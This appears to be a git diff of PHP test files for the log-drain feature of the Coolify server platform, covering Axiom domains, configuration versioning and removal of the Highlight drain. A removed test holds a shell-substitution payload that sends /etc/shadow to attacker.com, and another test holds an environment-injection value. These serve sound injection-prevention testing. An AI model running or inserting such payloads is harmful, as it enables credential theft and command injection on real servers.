||||
<?php
|
||||
|
||||
use App\Actions\Server\StartLogDrain;
|
||||
use App\Livewire\Server\LogDrains;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\PrivateKey;
|
||||
use App\Models\Server;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Collection;
|
||||
use Illuminate\Support\Facades\Process;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
Server::flushIdentityMap();
|
||||
Storage::fake('ssh-keys');
|
||||
Storage::fake('ssh-mux');
|
||||
config(['constants.ssh.mux_enabled' => false]);
|
||||
InstanceSettings::forceCreate(['id' => 0]);
|
||||
|
||||
$this->user = User::factory()->create();
|
||||
$this->team = $this->user->teams()->first();
|
||||
$this->server = Server::factory()->create([
|
||||
'team_id' => $this->team->id,
|
||||
'private_key_id' => PrivateKey::factory()->create(['team_id' => $this->team->id])->id,
|
||||
]);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
});
|
||||
|
||||
/**
|
||||
* @return array{config: string, env: string}
|
||||
*/
|
||||
function startAxiomLogDrain(Server $server): array
|
||||
{
|
||||
$commands = new Collection;
|
||||
Process::fake(function ($process) use ($commands) {
|
||||
$commands->push(remoteProcessScript($process));
|
||||
|
||||
return Process::result();
|
||||
});
|
||||
|
||||
StartLogDrain::run($server->fresh());
|
||||
|
||||
$script = $commands->implode("\n");
|
||||
preg_match("/echo '([A-Za-z0-9+\\/=]+)' \\| base64 -d \\| tee \\S+\\/fluent-bit\\.conf/", $script, $config);
|
||||
preg_match("/echo '([A-Za-z0-9+\\/=]+)' \\| base64 -d \\| tee \\S+\\/\\.env/", $script, $env);
|
||||
|
||||
return ['config' => base64_decode($config[1]), 'env' => base64_decode($env[1])];
|
||||
}
|
||||
|
||||
it('sends logs to the configured Axiom edge deployment', function () {
|
||||
$this->server->settings->update([
|
||||
'is_logdrain_axiom_enabled' => true,
|
||||
'logdrain_axiom_dataset_name' => 'dataset',
|
||||
'logdrain_axiom_api_key' => 'key',
|
||||
'logdrain_axiom_domain' => 'eu-central-1.aws.edge.axiom.co',
|
||||
]);
|
||||
|
||||
$files = startAxiomLogDrain($this->server);
|
||||
|
||||
expect($files['config'])->toContain('Host ${AXIOM_DOMAIN}')
|
||||
->and($files['config'])->toContain('URI /v1/ingest/${AXIOM_DATASET_NAME}')
|
||||
->and($files['config'])->not->toContain('api.axiom.co')
|
||||
->and($files['env'])->toBe("AXIOM_DOMAIN=eu-central-1.aws.edge.axiom.co\nAXIOM_DATASET_NAME=dataset\nAXIOM_API_KEY=key\n");
|
||||
});
|
||||
|
||||
it('uses the US edge deployment when no Axiom domain is set', function () {
|
||||
$this->server->settings->update([
|
||||
'is_logdrain_axiom_enabled' => true,
|
||||
'logdrain_axiom_dataset_name' => 'dataset',
|
||||
'logdrain_axiom_api_key' => 'key',
|
||||
'logdrain_axiom_domain' => null,
|
||||
]);
|
||||
|
||||
expect(startAxiomLogDrain($this->server)['env'])->toStartWith("AXIOM_DOMAIN=us-east-1.aws.edge.axiom.co\n");
|
||||
});
|
||||
|
||||
it('defaults the Axiom domain of new servers to the US edge deployment', function () {
|
||||
expect($this->server->settings->fresh()->logdrain_axiom_domain)->toBe('us-east-1.aws.edge.axiom.co');
|
||||
});
|
||||
|
||||
it('enables Axiom with an EU edge domain', function () {
|
||||
StartLogDrain::mock()->shouldReceive('handle')->once()->andReturn('ok');
|
||||
|
||||
Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid])
|
||||
->assertSet('logDrainAxiomDomain', 'us-east-1.aws.edge.axiom.co')
|
||||
->set('logDrainAxiomApiKey', 'xaat-key')
|
||||
->set('logDrainAxiomDatasetName', 'dataset')
|
||||
->set('logDrainAxiomDomain', 'eu-central-1.aws.edge.axiom.co')
|
||||
->call('toggleLogDrain', 'axiom')
|
||||
->assertHasNoErrors()
|
||||
->assertSet('isLogDrainAxiomEnabled', true);
|
||||
|
||||
expect($this->server->settings->fresh()->logdrain_axiom_domain)->toBe('eu-central-1.aws.edge.axiom.co');
|
||||
});
|
||||
|
||||
it('rejects an Axiom domain that is not a hostname', function (string $domain) {
|
||||
StartLogDrain::mock()->shouldNotReceive('handle');
|
||||
|
||||
Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid])
|
||||
->set('logDrainAxiomApiKey', 'xaat-key')
|
||||
->set('logDrainAxiomDatasetName', 'dataset')
|
||||
->set('logDrainAxiomDomain', $domain)
|
||||
->call('toggleLogDrain', 'axiom')
|
||||
->assertDispatched('error')
|
||||
->assertHasErrors('logDrainAxiomDomain')
|
||||
->assertSet('isLogDrainAxiomEnabled', false)
|
||||
->assertSet('logDrainAxiomDatasetName', 'dataset');
|
||||
|
||||
$settings = $this->server->settings->fresh();
|
||||
expect($settings->is_logdrain_axiom_enabled)->toBeFalsy()
|
||||
->and($settings->logdrain_axiom_domain)->toBe('us-east-1.aws.edge.axiom.co');
|
||||
})->with([
|
||||
'env injection' => ["eu-central-1.aws.edge.axiom.co\nAXIOM_API_KEY=x"],
|
||||
'url' => ['https://eu-central-1.aws.edge.axiom.co'],
|
||||
'empty' => [''],
|
||||
]);
|
||||
|
||||
it('shows a missing API key under its field when Axiom is enabled from the status dropdown', function () {
|
||||
StartLogDrain::mock()->shouldNotReceive('handle');
|
||||
|
||||
Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid])
|
||||
->set('logDrainAxiomDatasetName', 'dataset')
|
||||
->set('isLogDrainAxiomEnabled', true)
|
||||
->call('instantSave')
|
||||
->assertDispatched('error')
|
||||
->assertHasErrors('logDrainAxiomApiKey')
|
||||
->assertSet('isLogDrainAxiomEnabled', false)
|
||||
->assertSet('logDrainAxiomDatasetName', 'dataset');
|
||||
|
||||
expect($this->server->settings->fresh()->is_logdrain_axiom_enabled)->toBeFalsy();
|
||||
});
|
||||
@@ -153,52 +153,6 @@ it('does not deploy the Fluent Bit container for CloudWatch', function () {
|
||||
expect($result)->toContain('awslogs');
|
||||
});
|
||||
|
||||
it('turns off the legacy Highlight drain when CloudWatch is enabled', function () {
|
||||
StartLogDrain::mock()->shouldReceive('handle')->andReturn('ok');
|
||||
$this->server->settings->update([
|
||||
'is_logdrain_highlight_enabled' => true,
|
||||
'logdrain_highlight_project_id' => 'legacy-project',
|
||||
]);
|
||||
|
||||
Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid])
|
||||
->set('logDrainCloudwatchGroup', 'coolify')
|
||||
->set('logDrainCloudwatchRegion', 'us-east-1')
|
||||
->set('isLogDrainCloudwatchEnabled', true)
|
||||
->call('instantSave')
|
||||
->assertDispatched('success');
|
||||
|
||||
$settings = $this->server->settings->fresh();
|
||||
expect($settings->is_logdrain_highlight_enabled)->toBeFalsy()
|
||||
->and($settings->is_logdrain_cloudwatch_enabled)->toBeTrue();
|
||||
});
|
||||
|
||||
it('turns off the legacy Highlight drain when switching drains with toggleLogDrain', function () {
|
||||
StartLogDrain::mock()->shouldReceive('handle')->andReturn('ok');
|
||||
$this->server->settings->update(['is_logdrain_highlight_enabled' => true]);
|
||||
|
||||
Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid])
|
||||
->set('logDrainCloudwatchGroup', 'coolify')
|
||||
->set('logDrainCloudwatchRegion', 'us-east-1')
|
||||
->call('toggleLogDrain', 'cloudwatch');
|
||||
|
||||
$settings = $this->server->settings->fresh();
|
||||
expect($settings->is_logdrain_highlight_enabled)->toBeFalsy()
|
||||
->and($settings->is_logdrain_cloudwatch_enabled)->toBeTrue();
|
||||
});
|
||||
|
||||
it('keeps the legacy Highlight drain when saving without enabling another drain', function () {
|
||||
StartLogDrain::mock()->shouldReceive('handle')->andReturn('ok');
|
||||
$this->server->settings->update(['is_logdrain_highlight_enabled' => true]);
|
||||
|
||||
Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid])
|
||||
->set('logDrainCloudwatchGroup', 'coolify')
|
||||
->set('logDrainCloudwatchRegion', 'us-east-1')
|
||||
->call('submit')
|
||||
->assertDispatched('success');
|
||||
|
||||
expect($this->server->settings->fresh()->is_logdrain_highlight_enabled)->toBeTruthy();
|
||||
});
|
||||
|
||||
it('rejects a save that would enable two log drains at once', function () {
|
||||
StartLogDrain::mock()->shouldNotReceive('handle');
|
||||
$this->server->settings->update([
|
||||
|
||||
@@ -0,0 +1,179 @@
|
||||
<?php
|
||||
|
||||
use App\Actions\Server\StartLogDrain;
|
||||
use App\Jobs\PushServerUpdateJob;
|
||||
use App\Jobs\ServerCheckJob;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\PrivateKey;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Collection;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Notification;
|
||||
use Illuminate\Support\Facades\Process;
|
||||
use Illuminate\Support\Facades\Queue;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use Symfony\Component\Yaml\Yaml;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
Server::flushIdentityMap();
|
||||
Cache::flush();
|
||||
Notification::fake();
|
||||
Storage::fake('ssh-keys');
|
||||
Storage::fake('ssh-mux');
|
||||
config(['constants.ssh.mux_enabled' => false]);
|
||||
InstanceSettings::forceCreate(['id' => 0]);
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->server = Server::factory()->create([
|
||||
'team_id' => $this->team->id,
|
||||
'name' => 'log-drain-server',
|
||||
'private_key_id' => PrivateKey::factory()->create(['team_id' => $this->team->id])->id,
|
||||
]);
|
||||
$this->server->settings()->update([
|
||||
'is_reachable' => true,
|
||||
'is_usable' => true,
|
||||
'is_logdrain_axiom_enabled' => true,
|
||||
'logdrain_axiom_dataset_name' => 'dataset',
|
||||
'logdrain_axiom_api_key' => 'key',
|
||||
]);
|
||||
});
|
||||
|
||||
function sentinelPushWithLogDrain(Server $server, array $labels): void
|
||||
{
|
||||
(new PushServerUpdateJob($server->fresh(), [
|
||||
'containers' => [
|
||||
['name' => 'coolify-log-drain', 'state' => 'running', 'health_status' => 'unknown', 'labels' => ['coolify.managed' => 'true', ...$labels]],
|
||||
],
|
||||
'filesystem_usage_root' => ['used_percentage' => 10],
|
||||
]))->handle();
|
||||
}
|
||||
|
||||
function serverCheckWithLogDrain(Server $server, array $labels): void
|
||||
{
|
||||
$job = new ServerCheckJob($server->fresh());
|
||||
$job->containers = collect([
|
||||
['Name' => '/coolify-log-drain', 'State' => ['Status' => 'running'], 'Config' => ['Labels' => ['coolify.managed' => 'true', ...$labels]]],
|
||||
]);
|
||||
(fn () => $this->checkLogDrainContainer())->call($job);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return Collection<int, string>
|
||||
*/
|
||||
function startLogDrainScripts(Server $server): Collection
|
||||
{
|
||||
$scripts = new Collection;
|
||||
Process::fake(function ($process) use ($scripts) {
|
||||
$scripts->push(remoteProcessScript($process));
|
||||
|
||||
return Process::result();
|
||||
});
|
||||
|
||||
StartLogDrain::run($server->fresh());
|
||||
|
||||
return $scripts;
|
||||
}
|
||||
|
||||
function generatedLogDrainFile(Collection $scripts, string $file): string
|
||||
{
|
||||
preg_match("/echo '([A-Za-z0-9+\\/=]*)' \\| base64 -d \\| tee \\S+\\/".preg_quote($file, '/').' /', $scripts->implode("\n"), $matches);
|
||||
|
||||
return base64_decode($matches[1]);
|
||||
}
|
||||
|
||||
it('restarts a log drain that an older Coolify version started, once', function () {
|
||||
Queue::fake();
|
||||
|
||||
sentinelPushWithLogDrain($this->server, []);
|
||||
sentinelPushWithLogDrain($this->server, [StartLogDrain::CONFIG_VERSION_LABEL => '0']);
|
||||
|
||||
StartLogDrain::assertPushed(1);
|
||||
});
|
||||
|
||||
it('keeps a log drain that has the current configuration', function () {
|
||||
Queue::fake();
|
||||
|
||||
sentinelPushWithLogDrain($this->server, [StartLogDrain::CONFIG_VERSION_LABEL => StartLogDrain::CONFIG_VERSION]);
|
||||
|
||||
StartLogDrain::assertNotPushed();
|
||||
});
|
||||
|
||||
it('restarts an outdated log drain in the SSH server check, once', function () {
|
||||
Queue::fake();
|
||||
|
||||
serverCheckWithLogDrain($this->server, []);
|
||||
serverCheckWithLogDrain($this->server, []);
|
||||
|
||||
StartLogDrain::assertPushed(1);
|
||||
});
|
||||
|
||||
it('keeps a current log drain in the SSH server check', function () {
|
||||
Queue::fake();
|
||||
|
||||
serverCheckWithLogDrain($this->server, [StartLogDrain::CONFIG_VERSION_LABEL => StartLogDrain::CONFIG_VERSION]);
|
||||
|
||||
StartLogDrain::assertNotPushed();
|
||||
});
|
||||
|
||||
it('labels the log drain container with the current configuration version', function () {
|
||||
$compose = Yaml::parse(generatedLogDrainFile(startLogDrainScripts($this->server), 'docker-compose.yml'));
|
||||
|
||||
expect($compose['services']['coolify-log-drain']['labels'])
|
||||
->toContain(StartLogDrain::CONFIG_VERSION_LABEL.'='.StartLogDrain::CONFIG_VERSION);
|
||||
});
|
||||
|
||||
it('pulls the new image before it removes the running log drain', function () {
|
||||
$script = startLogDrainScripts($this->server)->implode("\n");
|
||||
|
||||
$pull = strpos($script, 'docker-compose.yml pull');
|
||||
$remove = strpos($script, 'docker rm -f coolify-log-drain');
|
||||
$start = strpos($script, 'docker-compose.yml up -d');
|
||||
|
||||
expect($pull)->toBeInt()
|
||||
->and($remove)->toBeGreaterThan($pull)
|
||||
->and($start)->toBeGreaterThan($remove);
|
||||
});
|
||||
|
||||
it('keeps the running log drain when the custom config is not allowed', function () {
|
||||
$this->server->settings->update([
|
||||
'is_logdrain_axiom_enabled' => false,
|
||||
'is_logdrain_custom_enabled' => true,
|
||||
'logdrain_custom_config' => "[OUTPUT]\n Name exec\n",
|
||||
]);
|
||||
|
||||
$scripts = new Collection;
|
||||
Process::fake(function ($process) use ($scripts) {
|
||||
$scripts->push(remoteProcessScript($process));
|
||||
|
||||
return Process::result();
|
||||
});
|
||||
|
||||
expect(fn () => StartLogDrain::run($this->server->fresh()))->toThrow(Exception::class, 'exec plugin')
|
||||
->and($scripts->implode("\n"))->not->toContain('docker rm -f coolify-log-drain');
|
||||
});
|
||||
|
||||
/**
|
||||
* Fails when the generated log drain files change. Bump StartLogDrain::CONFIG_VERSION, so that the
|
||||
* server checks restart running log drains with the new files, then update the hash.
|
||||
*/
|
||||
it('changes the configuration version when the generated files change', function () {
|
||||
$hashes = collect([
|
||||
'newrelic' => ['is_logdrain_axiom_enabled' => false, 'is_logdrain_newrelic_enabled' => true, 'logdrain_newrelic_license_key' => 'key', 'logdrain_newrelic_base_uri' => 'https://log-api.newrelic.com/log/v1'],
|
||||
'axiom' => [],
|
||||
'custom' => ['is_logdrain_axiom_enabled' => false, 'is_logdrain_custom_enabled' => true, 'logdrain_custom_config' => "[OUTPUT]\n Name stdout\n", 'logdrain_custom_config_parser' => "[PARSER]\n Name p\n"],
|
||||
])->map(function (array $settings) {
|
||||
$this->server->settings->update($settings);
|
||||
$scripts = startLogDrainScripts($this->server);
|
||||
|
||||
return collect(['fluent-bit.conf', 'parsers.conf', 'docker-compose.yml', 'README.md'])
|
||||
->map(fn (string $file) => generatedLogDrainFile($scripts, $file))
|
||||
->implode("\0");
|
||||
});
|
||||
|
||||
expect([StartLogDrain::CONFIG_VERSION, hash('sha256', $hashes->implode("\0"))])
|
||||
->toBe(['1', '11916cd1142514c158a6fbe812ce468e3fe80fc79428cef6ba2654c86aa384ba']);
|
||||
});
|
||||
@@ -0,0 +1,30 @@
|
||||
<?php
|
||||
|
||||
use App\Actions\Server\StopLogDrain;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Queue;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
it('stops the Highlight drain container and drops its columns', function () {
|
||||
Queue::fake();
|
||||
$migration = require database_path('migrations/2026_10_27_160258_remove_highlight_log_drain_from_server_settings_table.php');
|
||||
$migration->down();
|
||||
|
||||
$team = Team::factory()->create();
|
||||
$highlight = Server::factory()->create(['team_id' => $team->id]);
|
||||
$transferred = Server::factory()->create(['team_id' => $team->id, 'server_metadata' => ['transfer' => ['status' => 'transferred']]]);
|
||||
Server::factory()->create(['team_id' => $team->id]);
|
||||
DB::table('server_settings')->whereIn('server_id', [$highlight->id, $transferred->id])->update(['is_logdrain_highlight_enabled' => true]);
|
||||
|
||||
$migration->up();
|
||||
|
||||
StopLogDrain::assertPushed(1);
|
||||
StopLogDrain::assertPushed(fn (StopLogDrain $action, array $arguments) => $arguments[0]->is($highlight));
|
||||
expect(Schema::hasColumn('server_settings', 'is_logdrain_highlight_enabled'))->toBeFalse()
|
||||
->and(Schema::hasColumn('server_settings', 'logdrain_highlight_project_id'))->toBeFalse();
|
||||
});
|
||||
@@ -338,8 +338,6 @@ it('creates ServerSetting with all fillable attributes', function () {
|
||||
'is_logdrain_newrelic_enabled' => true,
|
||||
'logdrain_newrelic_license_key' => 'nr-license-key-123',
|
||||
'logdrain_newrelic_base_uri' => 'https://log-api.newrelic.com',
|
||||
'is_logdrain_highlight_enabled' => false,
|
||||
'logdrain_highlight_project_id' => 'hl-proj-123',
|
||||
'is_logdrain_axiom_enabled' => true,
|
||||
'logdrain_axiom_dataset_name' => 'coolify-logs',
|
||||
'logdrain_axiom_api_key' => 'axiom-key-456',
|
||||
|
||||
@@ -17,7 +17,6 @@ it('does not interpolate axiom api key into shell commands', function () {
|
||||
|
||||
$settings->is_logdrain_axiom_enabled = true;
|
||||
$settings->is_logdrain_newrelic_enabled = false;
|
||||
$settings->is_logdrain_highlight_enabled = false;
|
||||
$settings->is_logdrain_custom_enabled = false;
|
||||
$settings->logdrain_axiom_dataset_name = 'test-dataset';
|
||||
$settings->logdrain_axiom_api_key = $maliciousPayload;
|
||||
@@ -50,15 +49,6 @@ it('does not interpolate newrelic license key into shell commands', function ()
|
||||
expect($decoded)->toContain("LICENSE_KEY={$maliciousPayload}");
|
||||
});
|
||||
|
||||
it('does not interpolate highlight project id into shell commands', function () {
|
||||
$maliciousPayload = '$(curl attacker.com/steal?key=$(cat /etc/shadow))';
|
||||
|
||||
$envContent = "HIGHLIGHT_PROJECT_ID={$maliciousPayload}\n";
|
||||
$envEncoded = base64_encode($envContent);
|
||||
|
||||
expect($envEncoded)->not->toContain($maliciousPayload);
|
||||
});
|
||||
|
||||
it('produces correct env file content for axiom type', function () {
|
||||
$datasetName = 'my-dataset';
|
||||
$apiKey = 'xaat-abc123-def456';
|
||||
|
||||
Reference in new issue
Block a user